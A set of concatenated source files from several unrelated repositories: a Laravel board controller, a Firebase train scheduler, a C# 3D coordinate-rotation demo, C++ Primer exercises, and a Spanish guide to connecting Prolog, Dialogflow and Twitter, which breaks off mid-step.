["required","regex:(0|1)"], // 0, 1 ]); // 유효성 검사에서 걸리게 됬다면 if ($validator->fails()) { return redirect($boardid.'/'.$id.'/modify')->withErrors($validator)->withInput(); } Board::where('id',$id)->update([ 'title' => $request->title, 'content' => $request->content, 'anonymous' => $request->anonymous, ]); } return redirect($boardid.'/'.$id); } // 게시판 중에서 그룹 수정 public function groupmodify(Request $request, $type, $boardid){ if(Auth::user()->userid == Board::where('id',$boardid)->first()->userid){ // 유효성 검사 $validator = Validator::make($request->all(), [ 'type' => ["required","regex:(project|study)"], // project, study 'title' => 'required|max:255', 'description' => 'required|max:255', 'git' => 'max:255', ]); // 유효성 검사에서 걸리게 됬다면 if ($validator->fails()) { return redirect('group/'.$type.'/'.$boardid.'/create')->withErrors($validator)->withInput(); } Group::where('boardid', $boardid)->update([ 'title' => $request->title, 'description' => $request->description, 'git' => $request->git, ]); Board::where('id', $boardid)->update([ 'title' => $request->title, 'content' => $request->description, ]); } return redirect('group/'.$type); } } <file_sep>## 2016년 기록 2016년엔 깃허브를 사용하지 않아 gitigonre 설정을 다시 하려했는데 그 과정에서 reset할 부분이 너무 많아 repository를 삭제하고 다시 만들었습니다. ## TODO 단지 예전에 개인 단위로 프로젝트로 현재 홈페이지는 [이곳](https://github.com/Dcom-KHU/Sigmund) 프로젝트에서 진행되고 있습니다. 이 레파지토리는 앞으로 추가적인 commit을 안할 예정입니다. ()
de6f36c06f5bb7fad0c9975f6b93a7ef54152e23
[ "Markdown", "PHP" ]
3
PHP
graykode/dcom
e64c41ad8e96b15b9dc0485e49b082b18610df01
c9dd46b7d42978d5ccc32e8871240a3db119332b
refs/heads/master
<file_sep># TRAIN SCHEDULER https://bensojka.github.io/Train-Scheduler/ Train scheduler application that incorporates Firebase to host arrival and departure information. The app retrieves and manipulates this data with Moment.js and provides up-to-date information about various trains, namely their arrival times and how many minutes remain until they arrive at their station. The front-end for this application utilizes valid HTML, stylish CSS with Bootstrap, JavaScript for the logic, and jQuery to manipulate HTML.<file_sep>// Initialize Firebase var config = { apiKey: "<KEY>", authDomain: "train-scheduler-1c774.firebaseapp.com", databaseURL: "https://train-scheduler-1c774.firebaseio.com", projectId: "train-scheduler-1c774", storageBucket: "train-scheduler-1c774.appspot.com", messagingSenderId: "494121248708" }; firebase.initializeApp(config); var database = firebase.database(); // Capture Button Click $("#add-train-btn").on("click", function(event) { event.preventDefault(); // YOUR TASK!!! // Code in the logic for storing and retrieving the most recent user. // Don't forget to provide initial data to your Firebase database. var trainName = $("#name-input").val().trim(); var trainDestination = $("#destination-input").val().trim(); var trainTime = $("#time-input").val().trim(); var trainFrequency = $("#frequency-input").val().trim(); // Creates local "temporary" object for holding train data var newTrain = { name: trainName, destination: trainDestination, time: trainTime, frequency: trainFrequency }; // Uploads train data to the database database.ref().push(newTrain); // Logs everything to console console.log(newTrain.name); console.log(newTrain.destination); console.log(newTrain.time); console.log(newTrain.frequency); // Alert alert("Train successfully added"); // Clears all of the text-boxes $("#name-input").val(""); $("#destination-input").val(""); $("#time-input").val(""); $("#frequency-input").val(""); }); // 3. Create Firebase event for adding train to the database and a row in the html when a user adds an entry database.ref().on("child_added", function(childSnapshot, prevChildKey) { console.log(childSnapshot.val()); // Store everything into a variable. var trainName = childSnapshot.val().name; var trainDestination = childSnapshot.val().destination; var trainTime = childSnapshot.val().time; var trainFrequency = childSnapshot.val().frequency; // Train Info console.log(trainName); console.log(trainDestination); console.log(trainTime); console.log(trainFrequency); var freq = parseInt(trainFrequency); // Current Time var currentTime = moment(); console.log("CURRENT TIME: " + moment(currentTime).format("HH:mm")); //FIRST TIME: PUSHED BACK ONE YEAR TO COME BEFORE CURRENT TIME // var firstTimeConverted = moment(time,'hh:mm').subtract(1, 'years'); var firstTimeConverted = moment(trainTime, 'HH:mm').subtract(1, 'years'); console.log("DATE CONVERTED: " + firstTimeConverted); var departure = moment(firstTimeConverted).format('HH:mm'); console.log("TRAIN TIME : " + departure); var finalTimeConverted = moment(departure, 'HH:mm').subtract(1, 'years'); var diffTime = moment().diff(moment(finalTimeConverted), 'minutes'); console.log("DIFFERENCE IN TIME: " + diffTime); //REMAINDER var tRemainder = diffTime % freq; console.log("TIME REMAINING: " + tRemainder); //MINUTES UNTIL NEXT TRAIN var tMinutesTillTrain = freq - tRemainder; console.log("MINUTES UNTIL NEXT TRAIN: " + tMinutesTillTrain); //NEXT TRAIN var nextTrain = moment().add(tMinutesTillTrain, 'minutes'); console.log("ARRIVAL TIME: " + moment(nextTrain).format('HH:mm A')); // Add each train's data into the table $("#train-table > tbody").append("<tr><td>" + trainName + "</td><td>" + trainDestination + "</td><td>" + trainFrequency + "</td><td>" + moment(nextTrain).format("HH:mm") + "</td><td>" + tMinutesTillTrain + "</td></tr>"); });
d65b00d37c0e25dacccaf5cf571eae5fe94ac116
[ "Markdown", "JavaScript" ]
2
Markdown
bensojka/Train-Scheduler
4bb436dfb7548085b4546b1f5e64f77c2518e519
647457a047211a3bae68ffcd780a4873f067d62a
refs/heads/master
<repo_name>WorldCosplayGirl/CoordinateConversion<file_sep>/README.md # CoordinateConversion Program to demonstrate conversion from one coordinate system to another This program is based on the Code Project located at https://www.codeproject.com/Articles/36868/Quaternion-Mathematics-and-D-Library-with-C-and-G This program was designed to demonstrate Quaternions but what I needed was something up and running that would let me work with a plane that could be rotated. It saved me a few days work to use an existing program to do development on the coordinate rotation issue. This program demonstrates the solution to the problem of rotation between two different 3D coordinate systems. When you run this program there is a red face on the cube. You can rotate the cube, and thus the red face. The button 'Apply Transform' will restore the red face of the cube to the front. The button 'Reverse Transform' will restore the cube, and thus the red face, to its previous position. The paper here http://homepages.engineering.auckland.ac.nz/~pkel015/SolidMechanicsBooks/Part_III/Chapter_1_Vectors_Tensors/Vectors_Tensors_05_Coordinate_Transformation_Vectors.pdf Describes the math used. You create a 3x3 matrix whose elements are the dot products of the two sets of coordinate axis, and this transform can then be used to rotate the cube back and forth. <file_sep>/CoordinateConversion/Form1.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using YLScsDrawing; using System.Windows; using YLScsDrawing.Drawing3d; using SharpDX; namespace CoordinateConversion { public partial class Form1 : Form { public Form1() { InitializeComponent(); } //orientation int cameraX = 0, cameraY = 0, cameraZ = 0, cubeX = 0, cubeY = 0, cubeZ = 0; YLScsDrawing.Drawing3d.Cuboid cub = new YLScsDrawing.Drawing3d.Cuboid(150, 150, 150); YLScsDrawing.Drawing3d.Camera cam = new YLScsDrawing.Drawing3d.Camera(); private void Form1_Load(object sender, EventArgs e) { cub.Center = new YLScsDrawing.Drawing3d.Point3d(400, 240, 0); cam.Location = new YLScsDrawing.Drawing3d.Point3d(400, 240, -500); Invalidate(); } private void Form1_Paint(object sender, PaintEventArgs e) { cub.Draw(e.Graphics, cam); } Point3d OriginLocal; Vector3d XAxisLocal; Vector3d YAxisLocal; Vector3d ZAxisLocal; /* * Create the transform needed to go from the local to world */ Vector3d XAxisWorld = new Vector3d(1, 0, 0); Vector3d YAxisWorld = new Vector3d(0, 1, 0); Vector3d ZAxisWorld = new Vector3d(0, 0, 1); Matrix3x3 LocalToWorldTransform; Matrix3x3 WorldToLocalTransform; private void GetLocalAxis() { OriginLocal = cub.Point3dArray[0]; XAxisLocal = new Vector3d(OriginLocal, cub.Point3dArray[1]); YAxisLocal = new Vector3d(OriginLocal, cub.Point3dArray[3]); ZAxisLocal = Vector3d.CrossProduct(XAxisLocal, YAxisLocal); XAxisLocal.Normalise(); YAxisLocal.Normalise(); ZAxisLocal.Normalise(); Vector3d X1 = XAxisWorld; Vector3d X1Prime = XAxisLocal; Vector3d X2 = YAxisWorld; Vector3d X2Prime = YAxisLocal; Vector3d X3 = ZAxisWorld; Vector3d X3Prime = ZAxisLocal; LocalToWorldTransform = new Matrix3x3() { M11 = (float)Vector3d.DotProduct(X1, X1Prime), M12 = (float)Vector3d.DotProduct(X1, X2Prime), M13 = (float)Vector3d.DotProduct(X1, X3Prime), M21 = (float)Vector3d.DotProduct(X2, X1Prime), M22 = (float)Vector3d.DotProduct(X2, X2Prime), M23 = (float)Vector3d.DotProduct(X2, X3Prime), M31 = (float)Vector3d.DotProduct(X3, X1Prime), M32 = (float)Vector3d.DotProduct(X3, X2Prime), M33 = (float)Vector3d.DotProduct(X3, X3Prime), }; WorldToLocalTransform = new Matrix3x3() { M11 = (float)Vector3d.DotProduct(X1Prime, X1), M12 = (float)Vector3d.DotProduct(X1Prime, X2), M13 = (float)Vector3d.DotProduct(X1Prime, X3), M21 = (float)Vector3d.DotProduct(X2Prime, X1), M22 = (float)Vector3d.DotProduct(X2Prime, X2), M23 = (float)Vector3d.DotProduct(X2Prime, X3), M31 = (float)Vector3d.DotProduct(X3Prime, X1), M32 = (float)Vector3d.DotProduct(X3Prime, X2), M33 = (float)Vector3d.DotProduct(X3Prime, X3), }; } private void btnApplyTransform_Click(object sender, EventArgs e) { List<Point3d> PointList = new List<Point3d>(); foreach (Point3d p in cub.Point3dArray) { Vector3 v = new Vector3() { X = (float)(p.X - OriginLocal.X), Y = (float)(p.Y - OriginLocal.Y), Z = (float)(p.Z - OriginLocal.Z) }; v = Vector3.Transform(v, LocalToWorldTransform); PointList.Add(new Point3d() { X = v.X + OriginLocal.X, Y = v.Y + OriginLocal.Y, Z = v.Z + OriginLocal.Z }); } cub.pts = PointList.ToArray(); Invalidate(); } private void btnReverseTransform_Click(object sender, EventArgs e) { List<Point3d> PointList = new List<Point3d>(); foreach (Point3d p in cub.Point3dArray) { Vector3 v = new Vector3() { X = (float)(p.X - OriginLocal.X), Y = (float)(p.Y - OriginLocal.Y), Z = (float)(p.Z - OriginLocal.Z) }; v = Vector3.Transform(v, WorldToLocalTransform); PointList.Add(new Point3d() { X = v.X + OriginLocal.X, Y = v.Y + OriginLocal.Y, Z = v.Z + OriginLocal.Z }); } cub.pts = PointList.ToArray(); Invalidate(); } private void RotatePositiveX(object sender, EventArgs e) { cubeX += 5; labelCrX.Text = cubeX.ToString(); YLScsDrawing.Drawing3d.Quaternion q = new YLScsDrawing.Drawing3d.Quaternion(); q.FromAxisAngle(new YLScsDrawing.Drawing3d.Vector3d(1, 0, 0), 5 * Math.PI / 180.0); cub.RotateAt(cub.Center, q); GetLocalAxis(); Invalidate(); } private void RotateNegativeX(object sender, EventArgs e) { cubeX -= 5; labelCrX.Text = cubeX.ToString(); YLScsDrawing.Drawing3d.Quaternion q = new YLScsDrawing.Drawing3d.Quaternion(); q.FromAxisAngle(new YLScsDrawing.Drawing3d.Vector3d(1, 0, 0), -5 * Math.PI / 180.0); cub.RotateAt(cub.Center, q); GetLocalAxis(); Invalidate(); } private void RotatePositiveY(object sender, EventArgs e) { cubeY += 5; labelCrY.Text = cubeY.ToString(); YLScsDrawing.Drawing3d.Quaternion q = new YLScsDrawing.Drawing3d.Quaternion(); q.FromAxisAngle(new YLScsDrawing.Drawing3d.Vector3d(0, 1, 0), 5 * Math.PI / 180.0); cub.RotateAt(cub.Center, q); GetLocalAxis(); Invalidate(); } private void RotateNegativeY(object sender, EventArgs e) { cubeY -= 5; labelCrY.Text = cubeY.ToString(); YLScsDrawing.Drawing3d.Quaternion q = new YLScsDrawing.Drawing3d.Quaternion(); q.FromAxisAngle(new YLScsDrawing.Drawing3d.Vector3d(0, 1, 0), -5 * Math.PI / 180.0); cub.RotateAt(cub.Center, q); GetLocalAxis(); Invalidate(); } private void RotatePositiveZ(object sender, EventArgs e) { cubeZ += 5; labelCrZ.Text = cubeZ.ToString(); YLScsDrawing.Drawing3d.Quaternion q = new YLScsDrawing.Drawing3d.Quaternion(); q.FromAxisAngle(new YLScsDrawing.Drawing3d.Vector3d(0, 0, 1), 5 * Math.PI / 180.0); cub.RotateAt(cub.Center, q); GetLocalAxis(); Invalidate(); } private void RotateNegativeZ(object sender, EventArgs e) { cubeZ -= 5; labelCrZ.Text = cubeZ.ToString(); YLScsDrawing.Drawing3d.Quaternion q = new YLScsDrawing.Drawing3d.Quaternion(); q.FromAxisAngle(new YLScsDrawing.Drawing3d.Vector3d(0, 0, 1), -5 * Math.PI / 180.0); cub.RotateAt(cub.Center, q); GetLocalAxis(); Invalidate(); } private void button14_Click(object sender, EventArgs e) { cub = new YLScsDrawing.Drawing3d.Cuboid(150, 150, 150); cam = new YLScsDrawing.Drawing3d.Camera(); cub.Center = new YLScsDrawing.Drawing3d.Point3d(400, 240, 0); cam.Location = new YLScsDrawing.Drawing3d.Point3d(400, 240, -500); Invalidate(); i = 0; bmp = new Bitmap[6]; labelCx.Text = cub.Center.X.ToString(); labelCy.Text = cub.Center.Y.ToString(); labelCz.Text = cub.Center.Z.ToString(); cameraX = 0; cameraY = 0; cameraZ = 0; cubeX = 0; cubeY = 0; cubeZ = 0; labelCrX.Text = "0"; labelCrY.Text = "0"; labelCrZ.Text = "0"; } Bitmap[] bmp = new Bitmap[6]; int i = 0; private void button13_Click(object sender, EventArgs e) { if (i == 6) return; OpenFileDialog o = new OpenFileDialog(); if (o.ShowDialog() == DialogResult.OK) { bmp[i] = new Bitmap(o.FileName); i++; } cub.FaceImageArray = bmp; cub.DrawingLine = false; cub.DrawingImage = true; cub.FillingFace = true; Invalidate(); } } }
af7b33294c86b709fb7e1dfa5396bb3361ce55ab
[ "Markdown", "C#" ]
2
Markdown
WorldCosplayGirl/CoordinateConversion
19ae5993d58feacb989ce8310c183d93674ec29d
17088e23f53823c4626ac06654c3b65b011af529
refs/heads/master
<repo_name>neerajmaurya250/Android<file_sep>/app/src/main/java/www/kiet/myandroid/MainActivity.kt package www.kiet.myandroid import android.content.Intent import android.graphics.Color import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.view.View import android.widget.Button import android.widget.TextView import com.google.android.material.floatingactionbutton.FloatingActionButton class MainActivity : AppCompatActivity() { private var counter = 0 override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) // var name: String = "Neeraj" val text: TextView = findViewById(R.id.textView2) val count: TextView = findViewById(R.id.textView3) val button: Button = findViewById(R.id.button) button.setOnClickListener { if(text.currentTextColor==Color.GREEN) text.setTextColor(Color.RED) else text.setTextColor(Color.GREEN) } val button2: Button = findViewById(R.id.button2) button2.setOnClickListener{ text.textSize = 50F } val floatingButton: FloatingActionButton = findViewById(R.id.floatingActionButton3) floatingButton.setOnClickListener{ counter++ count.text=counter.toString() } val button6: Button = findViewById(R.id.button6) button6.setOnClickListener{ startActivity(intent) } fun nextActivity(view: View){ startActivity(intent) } } }
01216e08dbe64223ce710cdce2fe7145088d434b
[ "Kotlin" ]
1
Kotlin
neerajmaurya250/Android
2cb0f0df081cf21d2b3275c6e2615279c486ce87
69bb79d29e45048bc343acd1a519245f88078b81
refs/heads/master
<file_sep>#include <iostream> #include <vector> using std::string; int main(int argc, char const *argv[]) { std::vector<string> v; string str; while (std::cin >> str) { v.push_back(str); } std::cout << "v.size() = " << v.size() << '\n'; return 0; } <file_sep>#include <iostream> #include <vector> using std::cin; int main(int argc, char const *argv[]) { std::vector<int> v; int num; while (cin >> num) { v.push_back(num); } for (size_t i = 0; i < v.size() - 1; i++) { std::cout << v[i] + v[i + 1] << '\n'; } return 0; } <file_sep>#include <iostream> #include <vector> int main(int argc, char const *argv[]) { std::vector<int> v; int num; while (std::cin >> num) { v.push_back(num); } std::cout << "v.size() = " << v.size() << '\n'; return 0; } <file_sep>#include <iostream> #include "Chapter6.h" using std::cin; using std::cout; using std::endl; int main(int argc, char const *argv[]) { int val; cin >> val; int result = fact(val); cout << "result = " << result << endl; return 0; } <file_sep>#include <iostream> using std::begin; using std::end; int main(int argc, char const *argv[]) { int a[] = {1,2,3,4,-1,5,6,7}; int *beg = begin(a); int *last = end(a); while (beg != last) { if (*beg < 0) { std::cout << *beg << '\n'; break; } else { ++beg; } } return 0; } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { int i, j; int k; std::cin >> i >> j; k = i/j; std::cout << "k = " << k << '\n'; return 0; } <file_sep>#include <iostream> struct Foo { int a; double c; char b; }; int main() { std::cout << "sizeof(Foo) = " << sizeof(Foo) << '\n'; return 0; } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { int null = 0; int *p = 0; return 0; } <file_sep>#include <iostream> #include <string> using std::string; int main(int argc, char const *argv[]) { string s = "hello, world!"; auto iter = s.begin(); if (s.begin() != s.end()) { *iter = toupper(*iter); std::cout << "s = " << s << '\n'; } return 0; } <file_sep>#include <iostream> extern const int a = 10; <file_sep>#include <iostream> #include "1.h" int main() { extern const int a; std::cout << "a = " << a << '\n'; return 0; } <file_sep>#include <iostream> using std::cout; using std::cin; using std::endl; int maximum(const int a, const int *b); int main(int argc, char const *argv[]) { int a = 110; int b = 20; cout << maximum(a, &b); return 0; } int maximum(const int a, const int *b) { return (a > *b)? a : *b; } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { std::string str; int countff = 0; while (std::cin >> str) { for (size_t i = 0; i < str.size(); i++) { if (str[i] == 'f') { if (str[i+1] == 'f') { countff++; } } } } std::cout << "countff = " << countff << '\n'; return 0; } <file_sep>#include <iostream> using std::cout; using std::endl; using std::begin; using std::end; using std::initializer_list; int calculate(initializer_list<int> list); int main(int argc, char const *argv[]) { int sum; sum = calculate({1,2,3,4,5,6}); std::cout << "sum = " << sum << '\n'; return 0; } int calculate(initializer_list<int> list) { int sum = 0; for (auto beg = begin(list); beg != end(list); beg++) { sum += *beg; } return sum; } <file_sep>#include <iostream> #include <vector> using std::vector; using std::string; int main(int argc, char const *argv[]) { std::vector<int> v; std::cout << v.size() << '\n'; std::vector<int> v2(10); std::cout << v2.size() << '\n'; std::vector<int> v3(10, 42); std::cout << v3.size() << '\n'; std::vector<int> v4{10}; std::cout << v4.size() << '\n'; std::vector<int> v5{10, 42}; std::cout << v5.size() << '\n'; std::vector<string> v6{10}; std::cout << v6.size() << '\n'; for (auto c : v6) { std::cout << c << '\n'; } std::vector<string> v7{10, "hi"}; std::cout << v7.size() << '\n'; return 0; } <file_sep>#include <iostream> using std::cout; using std::endl; using std::begin; using std::end; void print1(const int i); void print2(const int* j, size_t size); void print3(const int *beg, const int *end); int main(int argc, char const *argv[]) { int i = 0, j[2] = {0, 1}; print1(i); print2(j, 2); print3(begin(j), end(j)); return 0; } void print1(const int i) { cout << i << endl; } void print2(const int* j, size_t size) { for (size_t i = 0; i < size; i++) { cout << j[i] << endl; } } void print3(const int *beg, const int *end) { while(beg != end) { cout << *beg << endl; beg++; } } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { std::string s = "Hello, world!"; for (auto c : s) { if (!ispunct(c)) { std::cout << c; } } std::cout << std::endl; return 0; } <file_sep>#include <iostream> int main() { int i = 100, sum = 0; for (size_t i = 0; i < 11; i++) { sum += i; } std::cout << "i = " << i << ", sum = " << sum << std::endl; int &a = sum; std::cout << "a = " << a << '\n'; //int &a = i; int b = 10; std::cout << "b = " << b << '\n'; int *p = nullptr; std::cout << "p = " << p << '\n'; } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { const std::string hex = "0123456789ABCDEF"; std::string result; decltype(hex.size()) n; while (std::cin >> n) { if (n < hex.size()) { result += hex[n]; } } std::cout << "result = " << result << '\n'; return 0; } <file_sep>#include <iostream> int main() { unsigned u = 10; unsigned u2 = 42; std::cout << "u2 - u = " << u2-u <<std::endl; std::cout << "u - u2 = " << u-u2 <<std::endl; int i = 10, i2 = 42; std::cout << "u - i = " << u - i << std::endl; std::cout << "i - u = " << i - u << std::endl; std::cout << "u - i2 = " << u - i2 << std::endl; std::cout << "i2 - u = " << i2 - u << std::endl; int j = 0; std::cout << "j = " << j << std::endl; } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { std::string str1 = argv[1]; std::string str2 = argv[2]; std::string str = str1 + str2; std::cout << str << '\n'; return 0; } <file_sep>#include <iostream> using std::string; using std::cin; using std::cout; using std::endl; int main(int argc, char const *argv[]) { //string s; //cin >> s; //cout << s << endl; //string line; //while (getline(cin, line)) { // cout << line << endl; //} string s1 = ","; string s = "hello" + s1; cout << s << endl; return 0; } <file_sep>#include <iostream> using std::runtime_error; int main(int argc, char const *argv[]) { int i, j; int k; while (std::cin >> i >> j) { try { if (j == 0) { throw runtime_error("j cannot be 0."); } } catch (runtime_error err) { std::cout << err.what() << "Try again. Y or N?" << '\n'; /* char c; std::cin >> c; if (c == 'N') { return -1; } else if (c == 'Y') { continue; } */ std::string str; std::cin >> str; if (str == "Y") { continue; } else if (str == "N"){ return -1; } } k = i/j; std::cout << "k = " << k << '\n'; } return 0; } <file_sep>#include <iostream> #include <vector> using std::begin; using std::end; int main(int argc, char const *argv[]) { int a[] = {1,2,3,4,5,6}; std::vector<int> v(begin(a), end(a)); for (auto it = v.begin(); it != v.end(); it++) { std::cout << *it << '\n'; } return 0; } <file_sep>#include <iostream> #include <string> #include "Sales_data.h" int main(int argc, char const *argv[]) { Sales_data data1, data2; double price = 0.0; std::cin >> data1.bookNo >> data1.units_sold >> price; data1.revenue = data1.units_sold * price; std::cin >> data2.bookNo >> data2.units_sold >> price; data2.revenue = data2.units_sold * price; if (data1.bookNo == data2.bookNo) { double total_revenue = data1.revenue + data2.revenue; unsigned total_units_sold = data1.units_sold + data2.units_sold; std::cout << data1.bookNo << ' ' << total_revenue << ' ' << total_units_sold <<' ' <<std::endl; return 0; } else { std::cout << "Wrong" << '\n'; return -1; } return 0; } <file_sep>#include <iostream> int main() { const std::string s = "Hello, world!"; for (auto &c : s) { std::cout << "c = " << c << '\n'; } return 0; } <file_sep>#include <iostream> #include <string> using std::cin; using std::cout; using std::endl; using std::string; bool is_contain_upper(const string str); void str_tolower(string &str); void str_tolower2(string str); int main(int argc, char const *argv[]) { string str = "Hello, World!"; if (is_contain_upper(str)) { cout << "Yes" << endl; } else { cout << "False" <<endl; } str_tolower2(str); cout << str << endl; str_tolower(str); cout << str << endl; return 0; } bool is_contain_upper(const string str) { bool result = false; for (auto c : str) { if (isupper(c)) { result = true; break; } } return result; } void str_tolower(string &str) { for (auto &c : str) { c = tolower(c); } } void str_tolower2(string str) { for (auto &c : str) { c = tolower(c); } cout << str << endl; } <file_sep>#include <iostream> #include <string> using std::string; int main(int argc, char const *argv[]) { string str = "hello, world"; std::cout << "sizeof(str) = " << sizeof(str) << '\n'; unsigned u1 = 1; int i = -2; std::cout << "u1 + i = " << u1 + i << '\n'; return 0; } <file_sep>#include <iostream> #include <string> using std::string; int main(int argc, char const *argv[]) { string s = "hello, world! my name is joe."; auto a = s.begin(); auto b = s.end(); *a = toupper(*a); while (a != b) { if (isspace(*a)) { ++a; *a = toupper(*a); } ++a; } std::cout << "s = " << s << '\n'; return 0; } <file_sep>#include <iostream> int main(int argc, char const *argv[]) { std::string s = "hello, world!"; int total = 0; for (auto c : s) { if (ispunct(c)) { total++; } } std::cout << "total = " << total << '\n'; for (decltype(s.size()) i = 0; i < s.size() && !isspace(s[i]); i++) { s[i] = toupper(s[i]); } std::cout << "s = " << s << std::endl; for (auto &c : s) { c = std::toupper(c); } std::cout << "s = " << s << '\n'; return 0; }
ac867b0feed242464f4b96553291058b9fb5fb7c
[ "C++" ]
30
C++
luckmoon/C-Primer
feaf47f36d1a1f7353b020239d6bc4d371fb72b2
4c8da69a07ea7bdcdde97e1010477c691a164fba
refs/heads/master
<file_sep># Integración de Prolog con Python y Twitter ## Introducción En este trabajo se presenta la implementación de prolog con twitter a traves de python. ## Preparación Para empezar con la instalación de los requisitos y todo lo necesario puede que sea de su interes leeer este articulo en el que explico a detalle la creación de este proyecto, para solo montarlo no es necesario leerlo pero es recomendable para entender el funcionamiento. ### Requerimientos - [Python 3](https://www.python.org/downloads/) - Python pip (administrador de paquetes de python) - [Heroku cli](https://devcenter.heroku.com/articles/heroku-cli#download-and-install) y Cuenta en [Heroku](https://id.heroku.com/login) - [SWI-Prolog](http://www.swi-prolog.org/Download.html) (solo para pruebas unitarias de el archivo prolog) - Cuenta en [DialogFlow](https://dialogflow.com/) - Cuenta en [Twitter](https://twitter.com) y [Twitter developers](https://developer.twitter.com/en.html) - [Git](https://git-scm.com/downloads) ### Instalación de bibliotecas de python Requerimos 2 bibliotecas para hacer que funcione el proyecto, la primera es **pyswip**, la cual nos ayudara a utilizar prolog en nuestros programas de python. La instalación es de la siguiente manera: `pip install pyswip` La segunda biblioteca es **flask**, esta es un microframework que nos permite hacer aplicaciones web de manera muy sencilla y flexible. Lo instalamos de la siguiente forma: `pip install flask` ### Montar Heroku Heroku es una plataforma que nos brinda la posibilidad de montar un servicio web de manera gratuita, este funciona en un entorno virtual de base Linux y podremos subir nuestros archivos con ayuda de Git, pero primero vamos a crear nuestro proyecto. En la terminal o el cmd de windows ejecutamos los siguientes comandos una vez tengamos Heroku cli instalado y una cuenta de Heroku. `heroku login` Ingresamos los datos de la cuenta que creamos en Heroku. `heroku create nombre-api-heroku` Creamos el proyecto en Heroku con el nombre que deseemos, este comando nos regresara 2 direcciones que tenemos que guardar, una tiene terminación ".git" que nos servira para subir nuestro proyecto, y la otra ".com" nos servira para acceder al servicio web. `heroku buildpacks:add --index 1 heroku-community/apt -a nombre-api-heroku` Agregamos un buildpack de Heroku que nos permitira agregar paquetes via "Apt" en linux, este nos permitira que se instale el "swi-prolog" que se especifica en el archivo Aptfile. ### Inicializar Git Para poder subir nuestro proyecto a Heroku ocupamos iniciar el controlador de versiones con Git, en este caso puede que si clonaron el repositorio algunos pasos no sean necesarios, estos comandos deben hacerlos en la dirección raiz del proyecto. `git init` Este inicializa git en el proyecto. `git add .` Luego agregamos los archivos al seguimiento de git. `git commit -m "mensaje"` Agregamos un mensaje a la version que agregamos. `git remote add heroku https://git.heroku.com/nombre-api-heroku.git` Agregamos el repositorio que nos devolvio Heroku cuando creamos el proyecto en Heroku. `git push heroku master` Subimos los cambios a el repositorio de heroku, se empezaran a desplegar mensajes sobre el estado de la instalación en nuestro entorno en Heroku, al final de la construcción deberia notificarnos que se realizo satisfactoriamente. ### Creando el agente en Dialogflow Dialogflow es una plataforma que nos permitira hacer procesamiento de lenguaje natural y es una ayuda a la creación de ChatBots. En nuestro caso la usaremos para recibir el tweet del usuario y poder procesar la respuesta en nuestro servicio web. Primero ingresamos al portal de [Dialogflow](https://www.dialogflow.com) y damos clic en el boton "Go to console" ![alt text](./recursos/img01.PNG) Una vez ingresemos a una cuenta de google, creamos un agente. En el caso de que sea la primera vez que usas Dialogflow, veras la siguiente ventana al centro de la pantalla: ![alt text](./recursos/img02.PNG) En este caso lo dejare de la siguiente manera, con lenguaje en español y agregamos un titulo: ![alt text](./recursos/img03.PNG) Ahora nos aparece una ventana de intenciones(intents), en esta le daremos clic al boton "Create intent". ![alt text](./recursos/img04.png) Veremos la siguiente ventana, en la que le pondremos un nombre y le daremos clic a "add training phrases". ![alt text](./recursos/img05.png) Posteriormente escribiremos la frase "frase" y la seleccionaremos con el cursor, deberia salir una ventana con entidades que empiezan con "@sys", en la barra de arriba escribimos any y la seleccionamos, de la siguiente manera: ![alt text](./recursos/img06.PNG) Realizado el paso anterior, procedemos a bajar y cuando encontremos la parte de **Responses** le damos clic en "add response". ![alt text](./recursos/img07.PNG) Agregaremos un mensaje que diga "Error en el webhook", este mensaje se ejecuta en caso de que nuestro servicio web no responda dentro de 5 segundos o haga una respuesta incorrecta. ![alt text](./recursos/img08.PNG) Para terminar nuestra intención, tenemos que activar fulfillment en la parte inferior, de la siguiente manera. ![alt text](./recursos/img09.PNG) Le damos click en "SAVE" en la parte superior derecha para guardar. Ahora en el panel de la izquierda le damos click en "Fulfillment". ![alt text](./recursos/img10.PNG) Activamos el apartado "Webhook" y en **URL** ponemos el segundo link de heroku, algo como "https://nombre-api-heroku.herokuapp.com/webhook/twitter", notese que al final tenemos la ruta "webhook/twitter" que es donde le mencionamos a nuestro servicio web que aceptara las peticiones. ![alt text](./recursos/img11.PNG) Damos clic en "SAVE" y estaria lista la parte de dialogflow. ### Implementando twitter Por ultimo solo hay que agregar twitter a nuestro proyecto, en este caso necesitamos una cuenta de twitter y requerir acceso a [Twitter developers](https://developer.twitter.com/en/apply-for-access), este proceso preguntara un poco las intenciones de el uso de twitter, hay que extendernos todo lo posible en las explicaciónes que pidan para tener mayor posibilidad de obtener acceso. Una vez que tengamos acceso, vamos al apartado **apps**. ![alt text](./recursos/img12.PNG) Damos clic en el boton "Create an app". ![alt text](./recursos/img13.PNG) Llenamos los campos de forma descriptiva a lo que hara la app, en la pagina web no importa realmente el dominio mientras sea como prueba. ![alt text](./recursos/img14.PNG) Nos aparecera una ventana con 3 pestañas, "app details", "keys and tokens", "Permissions", daremos clic en **Permissions** y luego en "edit". ![alt text](./recursos/img15.PNG) Hay que seleccionar la opcion "Read, Write and Direct Messages" y luego dar clic en "SAVE". ![alt text](./recursos/img16.PNG) Una vez hecho eso, vamos a "keys and tokens" y en **Access token & access token secret** damos click en "Create". ![alt text](./recursos/img17.PNG) Mantenemos esa pestaña abierta, ahora vamos a crear un Entorno de desarrollo, para esto buscamos en el menu superior en la parte derecha "dev environments". ![alt text](./recursos/img18.PNG) Veremos la siguiente ventana que contiene 3 entornos de desarrollo, en este caso ocupamos el de **account activity api** el cual nos permite saber cuando nos hacen un tweet, nos envian un mensaje directo, etc. Para esto damos clic en "Set up dev environment". ![alt text](./recursos/img19.PNG) Le asignamos un nombre y seleccionamos la app en la que lo ocuparemos. ![alt text](./recursos/img20.PNG) Solo faltaria juntar esta parte con dialogflow, para esto hay que ir a la parte de "integrations" en Dialogflow y dar clic sobre Twitter. ![alt text](./recursos/img21.PNG) Ahora activamos la casilla superior derecha y llenamos cada campo: - **bot Username**: corresponde al nombre despues del @ de nuestra cuenta de twitter. - 